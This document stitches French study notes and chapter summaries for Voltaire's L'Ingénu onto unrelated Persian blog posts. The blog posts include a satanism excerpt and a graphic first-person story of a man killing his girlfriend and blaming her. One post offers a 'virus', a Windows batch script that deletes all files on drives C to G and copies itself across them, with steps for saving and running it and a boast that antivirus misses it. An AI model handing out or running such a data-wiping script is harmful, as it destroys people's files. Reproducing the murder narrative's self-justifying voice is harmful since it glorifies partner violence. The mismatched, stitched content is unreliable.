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Un pamphlet
A L’Ingénu revient la triple tâche d’une critique politique, sociale et religieuse qui dénonce : les défauts de la monarchie absolue, la corruption du pouvoir, l’étroitesse d’esprit, voire le fanatisme religieux. Problèmes d’ailleurs liés dans la mesure où l’Eglise et l’Etat déterminent également la monarchie de droit divin.
Toute l’efficacité de ce pamphlet réside dans le style voltairien : en substituant la raillerie à la diatribe, la suggestion à l’énonciation, la désinvolture à l’injure, l’ironie sollicite en effet l’intelligence du lecteur qui vient du texte de plein gré pour en déchiffrer le discours sous-entendu.
Un conte philosophique
L’Ingénu soulève les questions qui ont toujours préoccupé Voltaire. Au-delà du débat qui oppose Nature et Culture, et pour lequel se sont passionnés tous les philosophes, apparaissent les préoccupations plus proprement voltairiennes : la perception scientifique du monde, la représentation de l’histoire, la persistance du mal, l’impuissance de la métaphysique.Mais surtout, L’Ingénu ébauche une définition de certains droits imprescriptibles de l’homme : la liberté, la dignité, le respect. Œuvre indissociable de l’action menée par un Voltaire luttant pour que les rapports humains reposent enfin sur une reconnaissance mutuelle de ces droits.
Une réussite romanesque
Mais si L’Ingénu a conservé à nos yeux son attrait, c’est à ses qualités littéraires qu’il le doit. D’autres contes voltairiens témoignent déjà de la maîtrise de leur auteur dans l’art de raconter : l’attention du lecteur est sans cesse maintenue en éveil par les effets de surprise, le mouvement, la précision des enchaînements.L’Ingénu va cependant plus loin dans le romanesque sentimental en intégrant et reconnaissant ses thèmes. L’amour contrarié, la vertu outragée, la mort de l’héroïne irréprochable. Le personnage de Saint-Yves donne au conte philosophique une véritable tonalité sentimentale
Le roman d’apprentissage
Tout en classant L’Ingénu dans les romans d’apprentissage, on peut souligner son originalité quant à ce schéma : la rupture de l’Ingénu avec son existence antérieure l’amène en fait à renouer des liens plus anciens avec son pays, sa famille, et nous avons noté déjà le rôle de l’apprentissage que joue ce passé ; quant au voyage, nous avons vu qu’il échoue rapidement dans un lieu clos qui s’avère contenir le monde ; enfin le maître se transforme autant que son élève. En effet l’apprentissage, dans L’Ingénu, n’est pas exclusivement réservé au naïf, puisqu’on observe également la métamorphose se Saint-Yves (Vous n’êtes point non plus la même, (lui) dit prieur…- chap. XIX-) et celle de Gordon.
Chap. I : Un soir de juillet 1689, dans la baie de Saint-Malo, l’abbé de Kerkabon et sa sœur voient accoster un navire anglais. En débarque un Huron dont l’amabilité les charme tant qu’ils l’invitent à souper au prieuré de la Montagne. D’autres personnages se joignent à eux : l’abbé de Saint-Yves et sa sœur, le bailli et sa femme. La discussion est animée : on interroge le Huron, dit L’Ingénu, sur son passé, sa langue et sa religion. Celui-ci n’est pas insensible au charme de Mlle de Saint-Yves.
Chap. II : Le lendemain, L’Ingénu, au moment de prendre congé de ses hôtes, leur offre deux miniatures où l’abbé et sa sœur reconnaissent les portraits de leur frère et de sa femme, disparus au Canada vingt ans plus tôt : le Huron n’est autre que leur propre neveu. La nouvelle déclenche un enthousiasme général. Le prieur et l’abbé décident de baptiser l’Ingénu lorsqu’ils l’auront instruit. Parallèlement, l’intérêt que se témoignent le Huron et Mlle de Saint-Yves se précise.
Chap. III : Après avoir étudié le Nouveau Testament, l’Ingénu accepte d’être baptisé. Son interprétation naïve des textes saints donne lieu à des situations cocasses, telle la scène où il exige, en échange de sa propre confession, celle du moine à qui il vient de se confesser. Le jour de la cérémonie, au grand désespoir de toute l’assemblée, il reste introuvable. Mlle de Kerkabon et Mlle de Saint-Yves le découvrent enfin, debout au bord de la rivière.
Chap. IV : Par fidélité aux textes, l’Ingénu désire en effet qu’on le baptise dans la rivière. Seule Mlle de Saint-Yves, après les vaines tentatives du prieur, du bailli, de l’évêque, réussit à fléchir son entêtement. Le baptême peut avoir lieu : Mlle de Saint-Yves a la joie d’être la marraine, et l’Ingénu reçoit le nom ridicule d’Hercule. La cérémonie est suivie d’un dîner.
Chap. V : A l’issue de ce dîner, Hercule vit Saint-Yves se déclarent leurs sentiments. Le lendemain matin, le prieur fait part de ses projets à son neveu : qu’il devienne sous-diacre, il lui cédera son prieuré. L’Ingénu est disposé à faire tout ce qu’on voudra, à condition qu’on lui accorde Mlle de Saint-Yves. Lorsque son oncle lui représente qu’il est impossible à un filleul d’épouser sa marraine, décidant de n’en faire qu’à sa tête, il court chez Saint-Yves dans l’intention de l’épouser.
Chap. VI : Convaincu d’avoir pour lui la loi naturelle, il se précipite dans sa chambre. Aux cris de la jeune fille, la maisonnée accourt. L’abbé de Saint-Yves tente alors d’explique à l’Ingénu la nécessité de certaines conventions. Après l’avoir envoyé chez lui, et sur le conseil du bailli qui désire voir son fils épouser Saint-Yves, il décide de faire mettre sa sœur dans un couvent. Le lendemain, lorsqu’on lui fait part de cette nouvelle, l’Ingénu est hors de lui.
Chap. VII : Désespéré, il marche sans but sur le rivage, quand il rencontre une milice affolée par l’approche de navires anglais. Il se range aux côtés des combattants, et réussit à repousser l’ennemi. Puisqu’il s’est distingué dans la bataille, on l’encourage à se rendre à Versailles où le roi récompensera ses mérites. Il quitte la Basse-Bretagne dans l’espoir d’obtenir également de celui-ci la main de Saint-Yves
Chap. VIII : En chemin, dans une hôtellerie de Saumur, il rencontre un groupe de protestants en fuite, qui lui exposent leurs malheurs, et lui expliquent la politique royale. Profondément ému, l’Ingénu promet d’intercéder en leur faveur auprès du roi. Cependant un espion du père de La Chaise, confesseur du roi, écoute leur conversation.
Chap. IX : À Versailles, un garde du corps breton doit instruire l’Ingénu des usages de la cour. On ne rencontre pas si facilement le roi. Hercule de Kerkabon patiente longuement avant d’être finalement reçu par un commis que son comportement étonne. Cependant le père de La Chaise a reçu deux lettres de dénonciation : celle de son espion, et une autre du bailli breton. Dans la nuit, l’Ingénu, est arrêté, puis embastillé. La cellule où on enferme est déjà occupée par Gordon, un vieux prêtre janséniste.
Chap. X : Confidences et conversations rapprochent les deux captifs. L’Ingénu, bien qu’il reste préoccupé de Saint-Yves, commence à s’instruire sous la conduite de Gordon : il découvre la physique, la philosophie, l’histoire. Ses dons surprennent le vieux janséniste.
Chap. XI : La compagnie de Gordon, et les lectures, transforment l’Ingénu. Le prêtre pousse le Huron à noter des réflexions dont la sagesse l’étonne, et qui ébranlent ses certitudes de janséniste. Histoire, astronomie, l’apprentissage du jeune homme se poursuit.
Chap. XII : L’Ingénu aborde les œuvres dramatiques, expose son goût à Gordon, récite avec émotion les vers qu’il aime, et qui exaltent ses sentiments amoureux
Chap. XIII : Plusieurs mois se sont écoulés. L’abbé de Kerkabon et sa sœur, inquiets de la disparition de leur neveu, se lancent à sa recherche. Mais, à Paris, aucune de leurs démarches n’aboutit. De son côté, Saint-Yves, qu’on a sortie du couvent pour la marier au fils du bailli, est décidée à retrouver son bien-aimé. Elle s’enfuit le matin de la cérémonie, poursuivie par son frère, le bailli et son fils. A Versailles, ne sachant où loger, elle consulte un jésuite, le père Tout-à-Tous, qui la conduit chez l’une de ses pénitentes. Par le commis qui a reçu l’Ingénu, elle apprend que celui-ci a déjà passé près d’un an à la Bastille, et que seul M. de Saint-Pouange, favori de M. de Louvois, peut lui venir en aide.
Chap. XIV : Les progrès de l’Ingénu sont si extraordinaires, et son bon sens si convaincant, que Gordon en vient à douter des opinions et des convictions jansénistes qui lui ont valu la prison. Les deux amis sont de plus en plus unis contre l’injustice dont ils sont l’objet, et le vieillard apprend à estimer les sentiments que l’Ingénu éprouve pour Saint-Yves.
Chap. XV : En arrivant chez Saint-Pouange, Saint-Yves aperçoit son frère, qui l’a devancée. Touchée par sa beauté et son chagrin, le sous-ministre la prie de revenir le soir même. Il lui montre alors les lettres de dénonciation, puis lui promet la libération de son amant, à condition qu’elle cède à ses avances. Elle quitte son cabinet bouleversée.
Chap. XVI : Le lendemain, elle se confie au père Tout-à-Tous. D’abord indigné, celui-ci se ravise en apprenant l’identité du séducteur : Mlle de Saint-Yves peut lui céder sans péché puisqu’elle n’est pas encore mariée à l’Ingénu, et qu’elle ne commettrait cet acte que dans l’intention, qui est pure, de délivrer celui-ci. Ces raisonnements la laissent horrifiée.
Chap. XVII : L’amie qui la loge renchérit sur les déclarations du jésuite : Saint-Yves doit céder : on la louera de s’être sacrifiée pour obtenir la liberté de son amant. Elles reçoivent alors de Saint-Pouange une invitation à souper, à laquelle Saint-Yves refuse de répondre. Le soir, malgré sa résistance, son amie réussit à l’entraîner. Après le repas, tourmentée, désespérée, Saint-Yves finit par céder à Saint-Pouange.
Chap. XVIII : Le lendemain, déchirée entre le bonheur et le remords, elle court délivrer son bien-aimé. Bouleversé, l’Ingénu apprend pourquoi on l’a emprisonné et, en partie, comment Saint-Yves a pu le faire libérer. Ne pouvant se résoudre à abandonner Gordon, il demande à sa bienfaitrice d’obtenir aussi la libération de son ami. Quoiqu’avec répugnance, elle écrit donc à Saint-Pouange, puis tous deux quittent la prison et rejoignent, dans la maison où il loge, l’abbé de Sint-Yves. Là, elle reçoit la grâce du janséniste, et refuse le rendez-vous que Saint-Pouange lui propose en échange.
Chap. XIX : Le prieur et Mlle de Kerkabon, l’abbé de Saint-Yves et sa sœur, son tout à la joie des retrouvailles. Mlle de Saint-Yves, cependant, semble embarassée et tourmentée. L’Ingénu les rejoint avec Gordon qu’il est allé délivrer. C’est alors que l’amie de Versailles fait irruption, venue rappeler à la jeune fille son rendez-vous. Celle-ci refuse de la suivre, et la renvoie. Mais, troublée par cette scène, et par l’effet qu’elle produit sur l’Ingénu, elle se retire, souffrante, et se couche. Après le repas, on lui rend visite et s’aperçoit de la gravité de son état.
Chap. XX : Les médecins sont incapables de guérir Saint-Yves. Torturée par le remords, elle meurt après avoir avoué ce qui la tourmente, laissant l’Ingénu désespéré. Venu lui rendre visite, Saint-Pouange est pris de regret à la vue des malheurs qu’il a provoqués. L’Ingénu, devenu philosophe et officier de Louvois, garde sa vie durant le souvenir de sa fiancée. Quant à Gordon, il reste jusqu’à sa mort aux côtés de l’Ingénu
Résumé
Ce conte comporte 20 chapitres : les sept premiers se déroulent en Bretagne, le chapitre huit relate le voyage de L’Ingénu de Saint-Malo à Paris, les douze chapitres suivants se passent à Paris.
Chapitre 1 : A Saint-Malo, St DUNSTAN ( Irlandais) fonde un prieuré. Il vit avec sa sœur Melle KERKABON, elle a 45 ans. Le 15 / 07 / 1689, ils rencontrent un Huron et décident de l’héberger. Il se nomme L’ INGENU parce que, confie-t-il ” je dis toujours naïvement ce que je pense.”
Chapitre 2 : Il s’avère que le Huron est le neveu de St Dunstan ( son frère était parti avec sa femme au Canada où ils ont péri.)
Chapitre 3 : L’Ingénu apprend par cœur le ” Nouveau testament” et accepte de se faire baptiser. Il réfute les sacrements du baptême et de la confession… et s’insurge contre l’interdiction de se marier avec sa marraine, prouvant à chaque fois que c’est contraire à l’enseignement prodigué dans les Écritures. Il refuse d’admettre l’autorité du pape.
Chapitre 4 : Il veut être baptisé comme dans le Nouveau Testament, c’est-à-dire, dans une rivière. Finalement, sur les instances de Melle de St Yves, il accepte de se faire baptiser à l’église. Désormais, il s’appelle ” INGENU HERCULE de KERKABON”
Chapitre 5 : Il est amoureux de Melle de St Yves, mais comme elle est sa marraine, la religion lui interdit de l’épouser : ” Si on me prive de la belle St Yves, sous prétexte de mon baptême, je vous avertis que je l’enlève et que je me débaptise.”
Chapitre 6 : Il va demander Melle St Yves
en mariage et il se heurte aux conventions en matière de mariage : pour
lui, la chose est naturelle.
Melle de St Yves est envoyée au couvent par son frère, l’abbé de St Yves ; L’Ingénu est fou furieux.
Chapitre 7 : Bataille contre les Anglais qui étaient venus en France pour piller le prieuré ; L’Ingénu les repousse, il devient un héros.
Chapitre 8 : L’Ingénu quitte la Basse-Bretagne pour se rendre à Versailles pour aller recevoir, des mains de Louis XIV, la récompense qui lui a été attribuée pour avoir repoussé les Anglais. Il rencontre des protestants victimes de la révocation de l’Édit de Nantes, ce qui l’émeut profondément. Ensemble ils discutent au sujet de l’ascendant exercé par les jésuites sur le roi ; un espion les entend et prévient Versailles.
Chapitre 9 : Arrivée de L’Ingénu à Versailles. Il fait part de son envie de se rendre utile et veut parler au roi en faveur des 50 000 familles persécutées par les jésuites. Il demande aussi que l’on fasse sortir Melle de St Yves du couvent. Il réclame une compagnie de cavalerie pour défendre la Basse-Bretagne des invasions anglaises. Mais, L’Ingénu est arrêté et emprisonné à la Bastille pour avoir tenu des propos anti-jésuites. Il partage la cellule de GORDON, vieux solitaire de Port-Royal, incarcéré depuis deux ans.
Chapitre 10 : Gordon l’entretien au sujet de la différence entre les jésuites et les jansénistes. Le Huron apprend beaucoup au contact de Gordon : la géométrie, la physique….la philosophie. il accède à la connaissance et commence à se former l’esprit au point de pouvoir faire valoir son esprit critique et penser par lui-même. Malgré le plaisir de l’apprentissage, il n’oublie pas mademoiselle de St Yves, qui lui manque terriblement.
Chapitre 11 : Peu à peu, l’Ingénu se transforme en découvrant les arts et il déclare : ” [...] j’ai été changé de brute en homme.” Il s’interroge sur le sens de l’histoire et fait l’éloge de la Chine : ” tout y est vraisemblable et naturel.” Les fables l’interpellent et l’invitent à réfléchir sur le problème de la vérité : ” La vérité luit de sa propre lumière et on n’éclaire pas les esprits avec celle des bûchers.”, axiome découvert dans un livre sur l’empereur Justinien qui contredit l’axiome catholique selon lequel : ” On n’ éclaire les esprits qu’avec la flamme des bûchers..”
Chapitre 12 : Il découvre le théâtre et apprécie particulièrement Molière qui lui fait mieux connaître ” les mœurs de Paris et du genre humain.”Le théâtre de Corneille lui paraît artificiel et ne l’intéresse pas parce qu’il ne le touche pas. En revanche, l’Iphigénie de Racine l’émeut.
Chapitre 13 : En Basse-Bretagne, son oncle et sa tante sans nouvelle précise de leur neveu sont inquiets de son absence prolongée. Ils décident de se rendre à Paris pour le secourir mais en vain. par ailleurs, Mademoiselle de St Yves se voit contrainte d’épouser le fils du bailli et le jour même de son mariage, elle s’enfuit pour aller à Paris retrouver son amant. Après bien des enquêtes, elle apprend que l’Ingénu est enfermé à la Bastille. On lui conseille de se rendre chez monsieur de St Pouange, cousin de Louvois, le seul qui soit en mesure d’agir en faveur de L’ingénu.
Chapitre 14 : Le chapitre s’ouvre sur les raisons de la faculté d’apprentissage de l’Ingénu : ” La cause du développement rapide de son esprit était due à son éducation sauvage presque autant qu’à la trempe de son âme : car n’ayant rien appris dans son enfance, il n’avait point appris de préjugés. Son entendement n’ayant point été courbé par l’erreur, était demeuré dans toute sa rectitude.” Gordon est de plus séduit par la justesse des raisonnement de son compagnon et il commence à remettre en cause ses certitudes et il apprend beaucoup à son contact sur les véritables sentiments humains.
Chapitre 15 : Comme il était annoncé à la fin du chapitre 13, mademoiselle de St Yves se rend chez monsieur de St Pouange pour lui demander d’intercéder en faveur de son amant. Mais pour obtenir satisfaction il faudrait qu’elle accepte de devenir sa maîtresse. Elle refuse et décide de s’en remettre au père Tout-à-tous, celui-là même qui lui avait recommandé de consulter monsieur de St Pouange.
Chapitre 16 : Ce Jésuite conseille à mademoiselle de St Yves d’accepter : comme elle n’est pas encore mariée, elle ne commet pas d’adultère, de plus, dans la mesure où son intention est pure, puisqu’il s’agit par ce geste de sauver son amant, il ne peut en aucun cas y avoir péché. Pour achever de la convaincre, il se réfère à saint Augustin qui dans ces cas précis cautionne ce que d’habitude la religion récuse.
Chapitre 17 : Finalement, mademoiselle de St Yves accepte malgré elle mais pour la liberté de son amant : ” Enfin, après une longue résistance, après des sanglots, des cris, des larmes, affaiblie du combat, éperdue, languissante, il fallut se rendre. Elle n’eut d’autre ressource que de se promettre de ne penser qu’à l’Ingénu, tandis que le cruel jouirait impitoyablement de la nécessité où elle était réduite.”
Chapitre 18 : Dès le lendemain, elle a l’ordre de libération de son amant et se précipite à la Bastille. Tendres retrouvailles à la prison. A la demande de l’Ingénu, mademoiselle de St Yves demande la libération de Gordon : le jésuite accepte et lui donne rendez-vous pour le lendemain pour s’acquitter de cette nouvelle dette envers lui mais elle refuse de se rendre au rendez-vous.
Chapitre 19 : Retrouvailles de Gordon et de l’Ingénu avec la famille de sa maîtresse. On fait des projets de mariage, de vie heureuse à Paris. Mais mademoiselle de St Yves est rongée par les remords et le silence dans lequel elle s’enferme par crainte d’avouer à son amant le prix qu’elle a dû payer pour sa libération ” son âme tuait son corps.”
Chapitre 20 : L’état de santé de mademoiselle de St Yves empire de jour en jour et tous les médecins dépêchés à son chevet sont incapables de trouver une raison à son mal. Tous se désolent et lui témoignent la plus grande affection. Finalement elle avoue, avant de mourir, son crime. Ironie tragique, juste avant qu’elle ne meure, un courrier vient annoncer que Gordon et l’Ingénu sont attendus par Louvois, ministre du roi, pour réparer la disgrâce qu’ils avaient subie. L’ingénu devint un excellent officier, il ne put oublier mademoiselle de St Yves et ne put se résoudre à se séparer de son ami Gordon
L' Ingénu est une œuvre de Voltaire parue en 1767, qui tient à la fois de l'apologue, du conte philosophique, du conte satirique
J’ai fait chercher l’Ingénu
dont vous me parlez, on ne le connaît point. Il est très triste qu’on
m’impute tous les jours non seulement des ouvrages que je n’ai point
faits, mais aussi des écrits qui n’existent point. Je sais bien que
bien des gens parlent de l’Ingénu, et tout ce que je puis répondre très
ingénument, c’est que je ne l’ai point vu encore. Lettre à M.
Damilaville 8 août 1767.
Alors que l'abbé de Kerkabon et sa sœur
lamentent la mort de leur frère et de sa femme partis au Canada, arrive
par un bateau anglais un jeune homme Huron, l'Ingénu (surnommé ainsi du
fait de sa naïveté vis-à-vis du monde occidental). Les Kerkabon
l'invitent à dîner, et s'aperçoivent qu'il s'agit de leur neveu. Ils le
convertissent alors au catholicisme et le baptisent, mais il tombe
amoureux de sa marraine, Mlle de Saint-Yves, qu'il ne peut épouser.
Repoussant par hasard une invasion d'Anglais, il décide de partir pour
Versailles afin de demander au roi une récompense pour sa bravoure, et
une dispense lui permettant d'épouser celle qu'il aime. En chemin, il
rencontre des Huguenots chassés du fait de l'édit de Fontainebleau et
décide de prendre leur défense auprès du roi. Cependant, il n'arrive
pas à faire
entendre sa voix à Versailles, et se fait embastiller à la suite de
deux lettres le dénonçant, dont une affirmant son engagement en faveur
des Huguenots. En prison, il fait la connaissance du janséniste Gordon,
qui tente de le former aux préceptes de cette doctrine ; mais bien
vite, l'Ingénu l'amène à remettre en question ses convictions. Pendant
ce temps, Mlle de Saint-Yves part à Versailles pour faire libérer son
amant ; mais afin d'obtenir l'aide de Mgr de Saint-Pouange, qui peut le
faire délivrer, celui-ci lui demande de se compromettre avec lui.
Refusant tout d'abord, elle se résout, suite aux conseils fallacieux du
Père jésuite Tout-à-tous, à commettre cet adultère. Elle repart chez
les Kerkabon avec l'Ingénu et Gordon mais, ne pouvant se résoudre à
dire la vérité à son amant et refusant de le trahir, se laisse mourir.
L'Ingénu, effondré tout d'abord, se ressaisit, obtient sa récompense,
et reste ami avec Gordon.
.
نوشته شده توسط Nashenas در پنجشنبه 7 آبان1388 | در پی چیزی می روم که ناخواسته مرا به سوی خود می کشد.در تاریکی دامن گیر شب پیوند می خورم با هراسهای که از آن گریزی نیست در برهوت غربت و بی هویتی خویش سرگردانم . درد نفرت و خشم .اینست حکایت خون و جنون... تجربه نا گوار شکست و چشیدن طمع تلخ مرگ. شیاطین حلقه ام کرده اند. آنان چرا اینجایند و هدفشان چیست؟
وحشت از لحظه ی تولدش وحشیانه اسیرم کرده ...اما من برده شیطانم و ترسی که مرا در کام خود کشیده ناشی از جنونم نیست!
از دنیای که می بینم وحشت زده هستم.پایان راه من سیاه است و مرگم هرگز تولدی نخواهد داشت و این است پایان راه تکامل.من دیگر هویتی ندارم.جهان اطرافم رنگ خون می گیرد.
بی گناه و بی حمایت گوشه ای ایستاده ام و به اطرافم نگاه می کنم.چیزی است که پیش از آن هرگز ندیده ام.
دستی در کار است. دستی ناشناس که آشکارا اینجا را به زباله دانی تاریخ تبدیل می کند و برای شروع رقص مرگ تازیانه وار بردگانش را به کام سیاهی خود می کشد.او هویت هر موجودی را نابود می کند تا خود قدرت بگیرد.دیگر چیزی برای از بین بردنم باقی نگذاسته....
تضمینی وجود ندارد زندگی همین است که هست .... ولی لعنت بر شما که فرصتی به من ندادید...
نوشته شده توسط Nashenas در جمعه 23 فروردین1387 
این مطلب رو از قصل ۲ کتاب فرازی بر فلسفه ی سیاه اثر فرانسوا لارو (Monsieur François Larue)
ترجمه کردم .........انصافا خیلی خوشم اومده از کتابش ........
لارو توی مقدمه ی این کتاب به یکی از اصول شیطان پرستی که می گه با تمام روشهاي ممکن بايد
اهميت حکومت و قدرتمان را به همگان گوشزد و اعلام کنيم کساني که به حکومت جهاني ما
تسليم شوند از حمايتمان بر خوردارند اشاره می کنه و بر پایه ی اون کتابش رو بسط می ده .....
راستی اینم بگم که لارو جزو اولین کسایی هستش که سعی کرد مبنای فلسفه سیاه رو همون طور که
هست بیان کنه نه با شاخ و برگ اضافی .....
شیطان کیست ؟
1
8-شيطان بازگو مي كند همه چيزهايي كه به سينس (گناهان) مشهور هستند، عبارتند از : دگرگوني از
حالت بي عقلي و مغز سربي (منجمد) بصورت طبيعي ذهن و فكر، يا احساس يا حس خوشي .
9-شيطان سمبل دوستي و رفاقت است كه حتي كليساها هم اين قدر دوستي و رفاقت را در خود نمي
ديدند . كه كليساها هر ساله تجارت هايي (كمك هاي خيريه) برپا مي كردند .
نوشته شده توسط Nashenas در یکشنبه 30 دی1386 | تنها تو سرما وایستادمو دارم به خودمون فکر می کنم
یاد روزایی میفتم که له له میزدم واسه شنیدن صدات ولی تو نبودی!
دلم برات تنگ میشد اما انگار آب شده بودی فته بودی تو زمین !!!
حالا میفهمم تو اون روزا تو کجا بودی و من کجا بودم !
لعنت به تو ....
ساعتمو نگاه می کنم ......
داره ۱۲ می شه ولی تو هنوز از اون خونه لعنتی بیرون نیومدی .....
سعی می کنم نفوس بد نزنم ...........
حتما تولد یکی از دوستاته ............. اما ... من خودم اون مرتیکه ها رو دیدم که رفتن تو ....
نه......!!!! تو تا حالا حتی به من دروغم نگفتی چه برسه به .... به ...
نمی خوام باور کنم حتی فکرشم دیوونم می کنه !!!
یه سیگار دیگه روشن می کنمو زیر پامو نگاه می کنم .... ۱۷ تا ته سیگار ....
صدای ضبط اون خرابه اعصبمو بیشتر خرد می کنه
دیر وقته ولی مهم نیس الان فقط خودمم و خودت ......
اون قدر ترسیدی که حتی به چشام نگاهم نمی کنی ....
داری آروم آروم گریه می کنی ..... همین کارت خونمو به جوش میاره
آخه کثافت لیاقت اشکهای تو انقدر کم نبودن !!! پس چرا ...................؟؟
خشم و نفرتم نمی ذاره جملمو تموم کنم ........ با آمیزه ای از ترس و گریه نگام می کنی
ـــ به خدا من اونجا با هیشکی کار نداشتم نیما
ـــ به خدا داری اشباه فکر میکنی
ـــ باور کن ....
ـــــ خفه شو
خون جلو چشمامو گرفته ...... دیگه حالیم نیس دارم چی کار می کن .......
اختیارمو می سپارم دست قریضه ام ..........
تو در حالی که می خوای از دستم فرار کنی سعی می کنی آرومم کنی ........ اما نه
من دیگه گول زر زراتو نمی خورم .... موهاتو می گیرمو سرتو محکم می کوبم به دیوار !!!
یه لحظه دلم واست می سوزه ولی بازم کارمو تکرار می کنم می خوام بازم این کارو بکنم
که تو جیغ می کشی :
ـــ حیوون و از حال میری...
با خودم به حرفت فکر می کنم .....
آره من یه حیوونم . یه جونور عوضی ولی تو خودت این جونورو ساختی کثافت
به صورت نازت نگاه می کنم .... نه .... صورت خونیتو زیاد دوست ندارم!
خیلی کثیف شدی!!! می
آخ ...... دلم نمیاد تنهایی بخورمش!!! شاید تو ام دلت بخواد!
با قدم های استوارم میام بالای سرتوآروم میریزمش روی صورت خوشگلت.
اینجوری صورت قشنگتم تمیز تر میشه!!
صحنه ی عاشقانه ایه!
دیگه طاقت ندارم ..... به خدا تو این یه هفته روانیم کردی ..... کاش می فهمیدی جلوی اون خونه چه ذجری کشیدم .... ولی .......
ولی...اشکالی نداره . حالا نوبت تو اه که تقاص خیانتتو پس بدی
آروم می شینم کنارتو گلوتوبا عشق گوش تا گوش می برم ............
آخیش!
خیالم راحت شد...
حالا دیگه هیچ کسی رو نمی تونی جز من دوست داشته باشی!
از این به بعد دیگه مال خود خودمی!
صندلیه راحتیمو میزارم روبروی جنازتو
یه پک دیگه میزنم به سیگارم ....
به این فکر میکنم که : تقصیر کی بود واقعاً ؟؟!!!
الان یه چند ساعتی می شه که از ساکت شدنت برا همیشه گذشته .......
وقتی به چهره ی خون آلودت نگاه ی کنم گریه ام می گیره .......
نه ه ه ه ه ..........این حق تو نبود
من تو رو نکشتم عزیزم من فقط عشقم به تو ثابت کردم .........
این تو بودی که خودتو کشتی .......!!!!
نوشته شده توسط Nashenas در جمعه 13 مهر1386 |
سلام دوستان
طبق قولی که داده بودم اومدم ویروس لرد سیاهمونو بهتون معرفی کنم.
این ویروس در عین سادگیش خیلی خیلی قدرت منده
و قادر به تخریب کل هارد شماست. پس قبل از هر شوخی بی مزه ای یه کم سعی کنید عواقب کارتونو
بررسی کنید
( حالا از ما گفتن بود... )
این ویروس ناز ما تحت فرامین داس نوشته شده و هیچ آنتی ویروسی قادر به شناسایی این
ویروس نیستش.
فقط یک آنتی داره اونم اف دیسکه
البته بنا به مسائلی از نوشتن سورس کامل این ویروس خودداری
کردم 
ولی همین نمونه هم بسیار بسیار خطر ناکه و قادر به آلوده کردن کل فضای هارد
دیسک شماست .
خیلی خوب دیگه کم کم بریم سر اصل مطلب 
:
برای کمبایل این ویروس اول از همه یک فایل متنی
مثل نت بد باز کنید و کدهای زیر را بنویسید و بعد با پسوند {بت} سیو کنید.برای مثال :
Nashenas.bat
متن ویروس:::
@echo off
ATTRIB -a -s -h -r c
ATTRIB -a -s -h -r c:\windows\*.*
Echo y | echo a | Echo y | del c:\*.*
Echo y | echo a | Echo y | del d:\*.*
Echo y | echo a | Echo y | del e:\*.*
Echo y | echo a | Echo y | del f:\*.*
Echo y | echo a | Echo y | del g:\*.*
echo y | copy *.* C:\
echo y | copy *.* D:\
echo y | copy *.* E:\
echo y | copy *.* F:\
echo y | copy *.* G:\
resrart
توجه:::::
در صورت اجرا شدن این ویروس در سیستم خودتون راهی جز اف دیسک ندارید 
{باور نمیکنی امتحان کن}
راستی قبل از خداحافظی از دو تا از دوستای گلم آقا سینا و علیرضا جون که تو نوشتن این یکی به من
کمک کردن هم رسما تشکر می کنم 
توجه !!!! : مسئولیت استفاده از این مطلب فقط و فقط به عهده کاربر عزیزه .
نوشته شده توسط Nashenas در یکشنبه 8 مهر1386 | 
سلام به همگیتون
امروز اومدم یه حال اساسی بتون بدم ....... یه مژده توپ ...............
تا چند هفته دیگه تو همین وبلاگ طرز ساخت قوی ترین ویروس عمرتونو بتون آموزش می دم که حاصل ۶ هفته کار اساسی خودمو دوست گلم علیرضا س .........
اسم این ویروسم گذاشتیم ... لرد سیاه ... تا نبینی نمی فهمی چی میگم و این ویروس چقدر خطرنا که ........
البته اینم بگم که اونا یی که با علم هک آشنایی داشته باشن می تونن از این ویروس بیشترین استفاده رو بکنن چراشم وقتی قدرت و کیفیت عالیشو دیدین خودتون می فهمین ...........
ولی جون هر کی که دوس دارین کپی کاری نکنینا آ آ آ آ آ خیلی سرش زحمت کشیدیم نامردیه............
راستی جد جد جد ........ جدشم با آقا رستم حکایتی داشته خفن ...
| کنون رزم virus و رستم شنو | دگرها شنيدستي اين هم شنو |
| که اسفنديارش يکي disk داد | بگفتا به رستم که اي نيکزاد |
| در اين disk باشد يکي file ناب | که بگرفتم از سايت افراسياب |
| برو خرمي کن بدين disk هان | که هم نون و هم آب باشد در آن |
| تهمتن روان شد سوي خانه اش | شتابان به ديدار رايانه اش |
| دگر صبر آرام و طاقت نداشت | مر آن disk را در drive اش گذاشت |
| نکرد هيچ صبر و نداد هيچ لفت | يکي list از root ديسکت گرفت |
| در آن disk ديدش يکي file بود | بزد enter آنجا و اجرا نمود |
| به ناگه چنان سيستمش کرد hang | که رستم در آن ماند مبهوت و منگ |
| تهمتن کلافه شد و داد زد | ز بخت بد خويش فرياد زد |
| چو تهمينه فرياد رستم شنود | بيامد که ليسانسش رايانه بود |
| بدو گفت رستم همه مشکلش | وزان disk و برنامه قابلش |
| چو رستم بدو داد قيچي و ريش | يکي ديسک bootable آورد پيش |
| يکي toolkit اندرآن disk بود | بر آورد آن را و اجرا نمود |
| به ناگه يکي رمز virus يافت | پي حذف امضاي ايشان شتافت |
| چو virus را نيک بشناختش | مر از bootsector بر انداختش |
| يکي ضربه زد بر سرش toolkit | که هر byte آن گشت هشتاد bit |
| به خاک اندر افکند virus را | تهمتن به رايانه زد بوس را |
| چنين گفت تهمينه با شوهرش | که اين بار بگذشت از پل خرش |
| دگر بار برنامه اين سان مکن | ز رايانه اصلا تو صحبت مکن |
| قسم خورد رستم به پروردگار | نگيرد دگر disk ز اسفنديار |
با تشکر از دوست خوبم Herly واسه این شعر توپش
مرسی بای
نوشته شده توسط Nashenas در سه شنبه 13 شهریور1386 | 
نوشته شده توسط Nashenas در پنجشنبه 8 شهریور1386 
